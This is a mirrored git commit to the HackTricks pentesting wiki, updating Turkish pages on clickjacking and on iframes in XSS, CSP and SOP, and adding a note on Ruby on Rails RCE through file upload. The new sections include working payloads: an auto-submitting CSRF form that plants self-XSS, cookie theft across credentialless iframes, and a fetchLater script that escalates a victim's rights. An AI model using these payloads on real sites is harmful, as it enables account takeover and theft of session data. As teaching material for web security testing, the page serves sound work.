mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
46d51a6176
commit
9272255617
@ -435,6 +435,7 @@
|
|||||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||||
|
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||||
|
|||||||
@ -0,0 +1,9 @@
|
|||||||
|
# Ruby Tricks
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## Dosya yükleme ile RCE
|
||||||
|
|
||||||
|
[bu makalede](https://www.offsec.com/blog/cve-2024-46986/) açıklandığı gibi, `.rb` dosyasını `config/initializers/` gibi hassas dizinlere yüklemek, Ruby on Rails uygulamalarında uzaktan kod yürütmeye (RCE) yol açabilir.
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
@ -8,11 +8,11 @@ Bir clickjacking saldırısında, bir **kullanıcı**, bir web sayfasında ya **
|
|||||||
|
|
||||||
### Formları Önceden Doldurma Hilesi
|
### Formları Önceden Doldurma Hilesi
|
||||||
|
|
||||||
Bazen bir sayfa yüklenirken **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
|
Bazen bir sayfa yüklendiğinde **GET parametrelerini kullanarak bir formun alanlarının değerini doldurmak** mümkündür. Bir saldırgan, bu davranışı kötüye kullanarak bir formu rastgele verilerle doldurabilir ve kullanıcının Gönder butonuna basması için clickjacking yükünü gönderebilir.
|
||||||
|
|
||||||
### Sürükle ve Bırak ile Form Doldurma
|
### Sürükle ve Bırak ile Form Doldurma
|
||||||
|
|
||||||
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (bilgisi olan e-posta veya şifre gibi) doğrudan yazmasını istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
Kullanıcının bir **formu doldurmasını** istiyorsanız ancak ona bazı özel bilgileri (örneğin, bildiğiniz e-posta ve/veya özel şifre) yazmasını doğrudan istemek istemiyorsanız, ona sadece **Sürükle ve Bırak** yapmasını isteyebilirsiniz; bu, kontrol ettiğiniz verileri yazacaktır, tıpkı [**bu örnekteki**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) gibi.
|
||||||
|
|
||||||
### Temel Yük
|
### Temel Yük
|
||||||
```css
|
```css
|
||||||
@ -89,21 +89,21 @@ background: #F00;
|
|||||||
```
|
```
|
||||||
### XSS + Clickjacking
|
### XSS + Clickjacking
|
||||||
|
|
||||||
Eğer bir **XSS saldırısını tetiklemek için kullanıcının bir öğeye tıklamasını gerektiren** bir durum tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
Eğer bir **kullanıcının tıklamasını gerektiren bir XSS saldırısı** tespit ettiyseniz ve sayfa **clickjacking'e karşı savunmasızsa**, bunu kullanarak kullanıcıyı butona/bağlantıya tıklamaya kandırabilirsiniz.\
|
||||||
Örnek:\
|
Örnek:\
|
||||||
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
Hesabın bazı özel detaylarında bir **self XSS** buldunuz (bu detayları **sadece sizin ayarlayıp okuyabileceğiniz**). Bu detayları ayarlamak için kullanılan **form** içeren sayfa **Clickjacking'e karşı savunmasız** ve **formu** GET parametreleri ile **önceden doldurabilirsiniz**.\
|
||||||
Bir saldırgan, bu sayfaya yönelik bir **Clickjacking** saldırısı hazırlayarak **formu** **XSS yükü** ile **önceden doldurup** **kullanıcıyı** formu **Gönder** butonuna tıklamaya kandırabilir. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
Bir saldırgan, bu sayfaya **XSS yükü** ile **formu** **önceden doldurarak** bir **Clickjacking** saldırısı hazırlayabilir ve **kullanıcıyı** formu **göndermeye** **kandırabilir**. Böylece, **form gönderildiğinde** ve değerler değiştirildiğinde, **kullanıcı XSS'i çalıştıracaktır**.
|
||||||
|
|
||||||
### DoubleClickjacking
|
### DoubleClickjacking
|
||||||
|
|
||||||
İlk olarak [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak çift tıklama sırasında kurban sayfasını yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
Öncelikle [bu yazıda açıklandığı gibi](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), bu teknik, kurbanın belirli bir konumda yerleştirilmiş özel bir sayfadaki bir butona çift tıklamasını isteyecek ve mousedown ile onclick olayları arasındaki zaman farklarını kullanarak kurban sayfasını çift tıklama sırasında yükleyecek, böylece **kurban aslında kurban sayfasındaki geçerli bir butona tıklamış olacak**.
|
||||||
|
|
||||||
Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
Bir örnek bu videoda görülebilir: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
|
||||||
|
|
||||||
Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) bulunabilir.
|
Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html) bulunabilir.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlamak için clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
|
> Bu teknik, kullanıcının kurban sayfasında 1 yere tıklamasını sağlarken clickjacking'e karşı her türlü korumayı aşar. Bu nedenle saldırganın **sadece 1 tıklama ile yapılabilecek hassas eylemleri bulması gerekir, örneğin OAuth izinlerini kabul eden istemler**.
|
||||||
|
|
||||||
## Clickjacking'i Azaltma Stratejileri
|
## Clickjacking'i Azaltma Stratejileri
|
||||||
|
|
||||||
@ -119,14 +119,14 @@ Bir kod örneği [bu sayfada](https://www.paulosyibelo.com/2024/12/doubleclickja
|
|||||||
Ancak, bu çerçeve kırıcı betikler aşılabilir:
|
Ancak, bu çerçeve kırıcı betikler aşılabilir:
|
||||||
|
|
||||||
- **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
|
- **Tarayıcıların Güvenlik Ayarları:** Bazı tarayıcılar, güvenlik ayarlarına veya JavaScript desteğinin eksikliğine bağlı olarak bu betikleri engelleyebilir.
|
||||||
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
- **HTML5 iframe `sandbox` Özelliği:** Bir saldırgan, `allow-top-navigation` olmadan `allow-forms` veya `allow-scripts` değerleri ile `sandbox` özelliğini ayarlayarak çerçeve kırıcı betikleri etkisiz hale getirebilir. Bu, iframe'in en üst pencere olup olmadığını doğrulamasını engeller, örneğin,
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
id="victim_website"
|
id="victim_website"
|
||||||
src="https://victim-website.com"
|
src="https://victim-website.com"
|
||||||
sandbox="allow-forms allow-scripts"></iframe>
|
sandbox="allow-forms allow-scripts"></iframe>
|
||||||
```
|
```
|
||||||
`allow-forms` ve `allow-scripts` değerleri, üst düzey navigasyonu devre dışı bırakırken iframe içindeki eylemleri etkinleştirir. Hedeflenen sitenin istenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
`allow-forms` ve `allow-scripts` değerleri, iframe içinde eylemleri etkinleştirirken üst düzey navigasyonu devre dışı bırakır. Hedeflenen sitenin beklenen işlevselliğini sağlamak için, saldırı türüne bağlı olarak `allow-same-origin` ve `allow-modals` gibi ek izinler gerekli olabilir. Tarayıcı konsol mesajları, hangi izinlerin verilmesi gerektiği konusunda rehberlik edebilir.
|
||||||
|
|
||||||
### Sunucu Tarafı Savunmaları
|
### Sunucu Tarafı Savunmaları
|
||||||
|
|
||||||
@ -141,7 +141,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
|||||||
|
|
||||||
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
|
#### İçerik Güvenlik Politikası (CSP) frame-ancestors yönergesi
|
||||||
|
|
||||||
**CSP'deki `frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
|
CSP'deki **`frame-ancestors` yönergesi**, Clickjacking koruması için önerilen yöntemdir:
|
||||||
|
|
||||||
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
|
- `frame-ancestors 'none'` - `X-Frame-Options: deny` ile benzer.
|
||||||
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
|
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin` ile benzer.
|
||||||
@ -153,7 +153,7 @@ sandbox="allow-forms allow-scripts"></iframe>
|
|||||||
|
|
||||||
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
|
Daha fazla ayrıntı ve karmaşık örnekler için [frame-ancestors CSP belgelerine](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) ve [Mozilla'nın CSP frame-ancestors belgelerine](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) bakabilirsiniz.
|
||||||
|
|
||||||
### İçerik Güvenlik Politikası (CSP) ile `child-src` ve `frame-src`
|
### İçerik Güvenlik Politikası (CSP) `child-src` ve `frame-src` ile
|
||||||
|
|
||||||
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
|
**İçerik Güvenlik Politikası (CSP)**, tarayıcının hangi kaynakların içerik yüklemesine izin vereceğini belirleyerek Clickjacking ve diğer kod enjeksiyon saldırılarını önlemeye yardımcı olan bir güvenlik önlemidir.
|
||||||
|
|
||||||
@ -173,7 +173,7 @@ Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gele
|
|||||||
```
|
```
|
||||||
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
Content-Security-Policy: child-src 'self' https://trusted-website.com;
|
||||||
```
|
```
|
||||||
Bu politika, aynı kökenden (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
|
Bu politika, aynı kökten (self) ve https://trusted-website.com adresinden gelen çerçevelere ve işçilere izin verir.
|
||||||
|
|
||||||
**Kullanım Notları:**
|
**Kullanım Notları:**
|
||||||
|
|
||||||
@ -189,9 +189,9 @@ if (top !== self) {
|
|||||||
top.location = self.location
|
top.location = self.location
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### Anti-CSRF Tokenlarının Kullanımı
|
#### Anti-CSRF Token'ların Kullanımı
|
||||||
|
|
||||||
- **Token Doğrulama:** Web uygulamalarında, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olmak için anti-CSRF tokenları kullanın ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
|
- **Token Doğrulama:** Web uygulamalarında anti-CSRF token'ları kullanarak, durum değiştiren isteklerin kullanıcının kasıtlı olarak yapıldığından emin olun ve Clickjacked bir sayfa aracılığıyla yapılmadığını kontrol edin.
|
||||||
|
|
||||||
## Referanslar
|
## Referanslar
|
||||||
|
|
||||||
|
|||||||
@ -1,12 +1,12 @@
|
|||||||
# Iframes in XSS, CSP and SOP
|
# XSS, CSP ve SOP'da Iframe'ler
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Iframes in XSS
|
## XSS'de Iframe'ler
|
||||||
|
|
||||||
Bir iframed sayfanın içeriğini belirtmenin 3 yolu vardır:
|
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||||||
|
|
||||||
- Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
|
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
|
||||||
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
|
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
|
||||||
- İçeriği belirten `srcdoc` aracılığıyla
|
- İçeriği belirten `srcdoc` aracılığıyla
|
||||||
|
|
||||||
@ -45,15 +45,15 @@ var secret = "child secret"
|
|||||||
alert(parent.secret)
|
alert(parent.secret)
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilen) orijinal penceredeki secret'a erişebilir**.\
|
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
|
||||||
if4'ün `null` kökenine sahip olduğu not edilmelidir.
|
if4'ün `null` kökenine sahip olduğu dikkate alın.
|
||||||
|
|
||||||
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||||
|
|
||||||
> [!NOTE]
|
> [!TIP]
|
||||||
> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğini not edin.
|
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||||||
|
|
||||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliğini kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
||||||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
|
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
|
||||||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||||||
```html
|
```html
|
||||||
@ -77,7 +77,7 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
|
|||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
Not edin ki **önceki CSP yalnızca inline script'in çalışmasına izin veriyor**.\
|
Not edin ki **önceki CSP yalnızca inline script'in çalışmasına izin veriyor**.\
|
||||||
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, ancak yalnızca `if1` ana gizli veriye erişebilecek**.
|
Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnızca `if1` ana gizli veriye erişebilecek**.
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -103,7 +103,7 @@ return "<script>alert(document.cookie)</script>"
|
|||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
app.run()
|
app.run()
|
||||||
```
|
```
|
||||||
### Diğer Yükler doğal ortamda bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||||
```html
|
```html
|
||||||
<!-- This one requires the data: scheme to be allowed -->
|
<!-- This one requires the data: scheme to be allowed -->
|
||||||
<iframe
|
<iframe
|
||||||
@ -130,10 +130,57 @@ Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
|
|||||||
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
|
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
|
||||||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||||||
|
|
||||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir.
|
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
|
||||||
```html
|
```html
|
||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||||
```
|
```
|
||||||
|
### Credentialless iframes
|
||||||
|
|
||||||
|
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
|
||||||
|
|
||||||
|
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
|
||||||
|
```javascript
|
||||||
|
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||||
|
alert(window.top[1].document.cookie);
|
||||||
|
```
|
||||||
|
- Exploit örneği: Self-XSS + CSRF
|
||||||
|
|
||||||
|
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
|
||||||
|
|
||||||
|
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
|
||||||
|
```html
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<form action="http://victim.domain/login" method="POST">
|
||||||
|
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||||
|
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
<script>
|
||||||
|
document.forms[0].submit();
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
|
||||||
|
|
||||||
|
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
|
||||||
|
```javascript
|
||||||
|
alert(window.top[1].document.cookie);
|
||||||
|
```
|
||||||
|
### fetchLater Saldırısı
|
||||||
|
|
||||||
|
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
|
||||||
|
|
||||||
|
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
|
||||||
|
```javascript
|
||||||
|
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||||
|
const minute = 60000
|
||||||
|
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||||
|
for (let timeout of arr)
|
||||||
|
fetchLater(req,{activateAfter: timeout})
|
||||||
|
```
|
||||||
## SOP'de Iframe'ler
|
## SOP'de Iframe'ler
|
||||||
|
|
||||||
Aşağıdaki sayfaları kontrol edin:
|
Aşağıdaki sayfaları kontrol edin:
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user